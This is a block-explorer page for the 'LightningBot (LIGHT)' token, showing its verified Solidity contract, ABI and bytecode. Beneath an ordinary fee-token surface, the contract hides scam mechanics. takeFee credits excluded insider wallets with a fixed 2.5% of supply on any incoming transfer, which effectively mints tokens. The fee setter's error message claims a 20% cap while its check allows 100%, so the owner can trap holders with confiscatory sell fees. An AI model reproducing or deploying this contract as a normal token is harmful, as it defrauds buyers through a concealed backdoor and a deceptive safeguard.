ETH Price: $2,525.25 (+0.11%)

Token

LightningBot (LIGHT)
 

Overview

Max Total Supply

1,000,000,000 LIGHT

Holders

78

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,367,371.674094312 LIGHT

Value
$0.00
0x13af02a483b5889a414f485d3fba0fe0cdd62c1b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LightningBot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-19
*/

// SPDX-License-Identifier: MIT

/*
Welcome to most advanced algorithmic trading bot with fastest speed and most simple UI.

Website: https://lightningbot.live
Twitter: https://twitter.com/LightningBot_LB
Telegram: https://t.me/LightningBot_ERC
LightningBot: https://t.me/beta_lightning_bot
*/

pragma solidity 0.8.19;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function getOwner() external view returns (address) {return owner;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pairAddress);
}

contract LightningBot is Ownable, IERC20 {
    using SafeMath for uint256;

    string private constant _name = "LightningBot";
    string private constant _symbol = "LIGHT";

    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10 ** _decimals;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcluded;

    IUniswapRouter routerV2;
    address public pairAddress;

    bool private startedTrading = false;
    bool private swapEnabled = true;
    uint256 private numSwapped;
    bool private inswap;
    uint256 swapTimesAfter;
    uint256 private maxSwapFee = ( _totalSupply * 1000 ) / 100000;
    uint256 private minSwapfee = ( _totalSupply * 10 ) / 100000;
    modifier lockSwap {inswap = true; _; inswap = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    
    uint256 private buyFee = 1600;
    uint256 private sellFee = 1600;
    uint256 private transferFee = 1600;
    uint256 private denominator = 10000;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal devAddr = 0x978a69529001f030A25B336608598D235681a40b; 
    address internal teamAddr = 0x978a69529001f030A25B336608598D235681a40b;
    address internal lpAddr = 0x978a69529001f030A25B336608598D235681a40b;
    
    uint256 public transferMax = ( _totalSupply * 250 ) / 10000;
    uint256 public buyMax = ( _totalSupply * 250 ) / 10000;
    uint256 public walletMax = ( _totalSupply * 250 ) / 10000;

    constructor() Ownable(msg.sender) {
        IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IUniswapFactory(_router.factory()).createPair(address(this), _router.WETH());
        routerV2 = _router; pairAddress = _pair;
        isExcluded[lpAddr] = true;
        isExcluded[teamAddr] = true;
        isExcluded[devAddr] = true;
        isExcluded[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function startTrading() external onlyOwner {startedTrading = true;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    
    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapTimesAfter = _swapAmount; maxSwapFee = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minSwapfee = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }
    
    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minSwapfee;
        bool aboveThreshold = balanceOf(address(this)) >= maxSwapFee;
        return !inswap && swapEnabled && startedTrading && aboveMin && !isExcluded[sender] && recipient == pairAddress && numSwapped >= swapTimesAfter && aboveThreshold;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        transferMax = newTx; buyMax = newTransfer; walletMax = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function swapBackAndLiquidify(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(teamAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddr).transfer(contractBalance);}
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pairAddress){return sellFee;}
        if(sender == pairAddress){return buyFee;}
        return transferFee;
    }
    
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcluded[recipient]) {return transferMax;}
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcluded[sender] && !isExcluded[recipient]){require(startedTrading, "startedTrading");}
        if(!isExcluded[sender] && !isExcluded[recipient] && recipient != address(pairAddress) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= walletMax, "Exceeds maximum wallet amount.");}
        if(sender != pairAddress){require(amount <= buyMax || isExcluded[sender] || isExcluded[recipient], "TX Limit Exceeded");}
        require(amount <= transferMax || isExcluded[sender] || isExcluded[recipient], "TX Limit Exceeded"); 
        if(recipient == pairAddress && !isExcluded[sender]){numSwapped += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapBackAndLiquidify(maxSwapFee); numSwapped = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExcluded[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = routerV2.WETH();
        _approve(address(this), address(routerV2), tokenAmount);
        routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(routerV2), tokenAmount);
        routerV2.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddr,
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004be565b6200002290633b9aca00620004d6565b60018190556006805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004d6565b6200005a9190620004f0565b600a55620186a0600154600a620000729190620004d6565b6200007e9190620004f0565b600b556000600c819055600d8190556064600e55600f556106406010819055601181905560125561271060138190556014805473978a69529001f030a25b336608598d235681a40b6001600160a01b0319918216811790925560158054821683179055601680549091169091179055600154620000fd9060fa620004d6565b620001099190620004f0565b60175561271060015460fa620001209190620004d6565b6200012c9190620004f0565b60185561271060015460fa620001439190620004d6565b6200014f9190620004f0565b6019553480156200015f57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ed919062000513565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000261919062000513565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d5919062000513565b600580546001600160a01b038581166001600160a01b03199283161790925560068054848416921691909117905560165481166000908152600460209081526040808320805460ff19908116600190811790925560155486168552828520805482168317905560145490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200053e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000400578160001904821115620003e457620003e4620003a9565b80851615620003f257918102915b93841c9390800290620003c4565b509250929050565b6000826200041957506001620004b8565b816200042857506000620004b8565b81600181146200044157600281146200044c576200046c565b6001915050620004b8565b60ff841115620004605762000460620003a9565b50506001821b620004b8565b5060208310610133831016604e8410600b841016171562000491575081810a620004b8565b6200049d8383620003bf565b8060001904821115620004b457620004b4620003a9565b0290505b92915050565b6000620004cf60ff84168362000408565b9392505050565b8082028115828204841417620004b857620004b8620003a9565b6000826200050e57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200052657600080fd5b81516001600160a01b0381168114620004cf57600080fd5b61194c806200054e6000396000f3fe6080604052600436106101395760003560e01c8063893d20e8116100ab578063a9059cbb1161006f578063a9059cbb14610398578063cb7f97d7146103b8578063cba0e996146103d8578063dd62ed3e14610408578063f2fde38b1461044e578063fe3145241461046e57600080fd5b8063893d20e8146102d857806395d89b411461030a5780639cc35351146103385780639d8740cb14610358578063a8b089821461037857600080fd5b8063293230b8116100fd578063293230b8146102155780632f54bf6e1461022c578063313ce5671461025b5780635f2869091461027757806370a082311461028d578063715018a6146102c357600080fd5b806306fdde0314610145578063095ea7b31461018c578063152bf6c8146101bc57806318160ddd146101e057806323b872dd146101f557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600c81526b131a59da1d1b9a5b99d09bdd60a21b60208201525b60405161018391906115e6565b60405180910390f35b34801561019857600080fd5b506101ac6101a736600461164c565b610484565b6040519015158152602001610183565b3480156101c857600080fd5b506101d260175481565b604051908152602001610183565b3480156101ec57600080fd5b506101d261049b565b34801561020157600080fd5b506101ac610210366004611678565b61050c565b34801561022157600080fd5b5061022a610576565b005b34801561023857600080fd5b506101ac6102473660046116b9565b6000546001600160a01b0391821691161490565b34801561026757600080fd5b5060405160098152602001610183565b34801561028357600080fd5b506101d260185481565b34801561029957600080fd5b506101d26102a83660046116b9565b6001600160a01b031660009081526002602052604090205490565b3480156102cf57600080fd5b5061022a6105be565b3480156102e457600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610183565b34801561031657600080fd5b50604080518082019091526005815264131251d21560da1b6020820152610176565b34801561034457600080fd5b5061022a6103533660046116d6565b61062d565b34801561036457600080fd5b5061022a6103733660046116d6565b61076e565b34801561038457600080fd5b506006546102f2906001600160a01b031681565b3480156103a457600080fd5b506101ac6103b336600461164c565b6107d4565b3480156103c457600080fd5b5061022a6103d3366004611702565b6107e1565b3480156103e457600080fd5b506101ac6103f33660046116b9565b60046020526000908152604090205460ff1681565b34801561041457600080fd5b506101d261042336600461174e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045a57600080fd5b5061022a6104693660046116b9565b6108d6565b34801561047a57600080fd5b506101d260195481565b6000610491338484610954565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105079290916105019190610a78565b90610a78565b905090565b6000610519848484610a84565b61056b8433610566856040518060600160405280602881526020016118ef602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd6565b610954565b5060015b9392505050565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016105a090611787565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105a090611787565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106575760405162461bcd60e51b81526004016105a090611787565b600061067a6127106106748660015461100290919063ffffffff16565b9061100e565b905060006106996127106106748660015461100290919063ffffffff16565b905060006106b86127106106748660015461100290919063ffffffff16565b601784905560188390556019819055905060006106e46103e861067460056106de61049b565b90611002565b90508084101580156106f65750808310155b80156107025750808210155b6107655760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105a0565b50505050505050565b6000546001600160a01b031633146107985760405162461bcd60e51b81526004016105a090611787565b60098390556001546107b390620186a0906106749085611002565b600a556001546107cc90620186a0906106749084611002565b600b55505050565b6000610491338484610a84565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105a090611787565b600c879055600d869055600f859055600e84905560108390556011829055601281905560135461083c90600161100e565b6010541115801561085c575060135461085690600161100e565b60115411155b8015610877575060135461087190600161100e565b60125411155b6107655760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b60648201526084016105a0565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105a090611787565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a0565b6001600160a01b038216610a175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061056f82846117bd565b6001600160a01b038316610ae85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a0565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a0565b6001600160a01b038316600090815260026020526040902054811115610bcc5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016105a0565b6001600160a01b03831660009081526004602052604090205460ff16158015610c0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610c5d57600654600160a01b900460ff16610c5d5760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b60448201526064016105a0565b6001600160a01b03831660009081526004602052604090205460ff16158015610c9f57506001600160a01b03821660009081526004602052604090205460ff16155b8015610cb957506006546001600160a01b03838116911614155b8015610cd057506001600160a01b03821661dead14155b15610d49576019546001600160a01b038316600090815260026020526040902054610cfb908361101a565b1115610d495760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105a0565b6006546001600160a01b03848116911614610dea5760185481111580610d8757506001600160a01b03831660009081526004602052604090205460ff165b80610daa57506001600160a01b03821660009081526004602052604090205460ff165b610dea5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a0565b60175481111580610e1357506001600160a01b03831660009081526004602052604090205460ff165b80610e3657506001600160a01b03821660009081526004602052604090205460ff165b610e765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a0565b6006546001600160a01b038381169116148015610eac57506001600160a01b03831660009081526004602052604090205460ff16155b15610eca57600160076000828254610ec491906117d0565b90915550505b610ed5838383611026565b15610eeb57610ee5600a546110e0565b60006007555b6001600160a01b038316600090815260026020526040902054610f0e9082610a78565b6001600160a01b038416600090815260026020908152604080832093909355600490529081205460ff1615610f435781610f4e565b610f4e84848461125d565b6001600160a01b038416600090815260026020526040902054909150610f74908261101a565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc89085815260200190565b60405180910390a350505050565b60008184841115610ffa5760405162461bcd60e51b81526004016105a091906115e6565b505050900390565b600061056f82846117e3565b600061056f82846117fa565b600061056f82846117d0565b600b54600a543060009081526002602052604081205460085491938510159211159060ff161580156110615750600654600160a81b900460ff165b80156110765750600654600160a01b900460ff165b801561107f5750815b80156110a457506001600160a01b03861660009081526004602052604090205460ff16155b80156110bd57506006546001600160a01b038681169116145b80156110cd575060095460075410155b80156110d65750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361111a936002936106de93919261111492839161101a565b9061101a565b9050600061113782610674600c548661100290919063ffffffff16565b905060006111458483610a78565b9050476111518261138d565b600061115d4783610a78565b90506000611180611179600c5488610a7890919063ffffffff16565b839061100e565b90506000611199600c548361100290919063ffffffff16565b905080156111ab576111ab86826114e7565b600d546000906111c0906106de856002611002565b90508015611204576015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611202573d6000803e3d6000fd5b505b478015611247576014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611245573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615611287575060175461056f565b6000611293858561159b565b11156113865760006112b66112a8868661159b565b6013546106de90869061100e565b306000908152600260205260409020549091506112d3908261101a565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113249085815260200190565b60405180910390a36000600f541180156113485750600f54611346868661159b565b115b15611374576113743061dead61136f600f546106de6013548961100e90919063ffffffff16565b610a84565b61137e8382610a78565b91505061056f565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113c2576113c261181c565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561141b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143f9190611832565b816001815181106114525761145261181c565b6001600160a01b0392831660209182029290920101526005546114789130911684610954565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b190859060009086903090429060040161184f565b600060405180830381600087803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b505050505050565b6005546114ff9030906001600160a01b031684610954565b60055460165460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561156f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061159491906118c0565b5050505050565b6006546000906001600160a01b03908116908316036115bd5750601154610495565b6006546001600160a01b03908116908416036115dc5750601054610495565b5060125492915050565b600060208083528351808285015260005b81811015611613578581018301518582016040015282016115f7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461164957600080fd5b50565b6000806040838503121561165f57600080fd5b823561166a81611634565b946020939093013593505050565b60008060006060848603121561168d57600080fd5b833561169881611634565b925060208401356116a881611634565b929592945050506040919091013590565b6000602082840312156116cb57600080fd5b813561056f81611634565b6000806000606084860312156116eb57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561171d57600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561176157600080fd5b823561176c81611634565b9150602083013561177c81611634565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610495576104956117a7565b80820180821115610495576104956117a7565b8082028115828204841417610495576104956117a7565b60008261181757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561184457600080fd5b815161056f81611634565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561189f5784516001600160a01b03168352938301939183019160010161187a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118d557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220474258448a209a442299beffc642e12ed7b2dff17996953a934efcdde5ab062564736f6c63430008130033

Deployed Bytecode

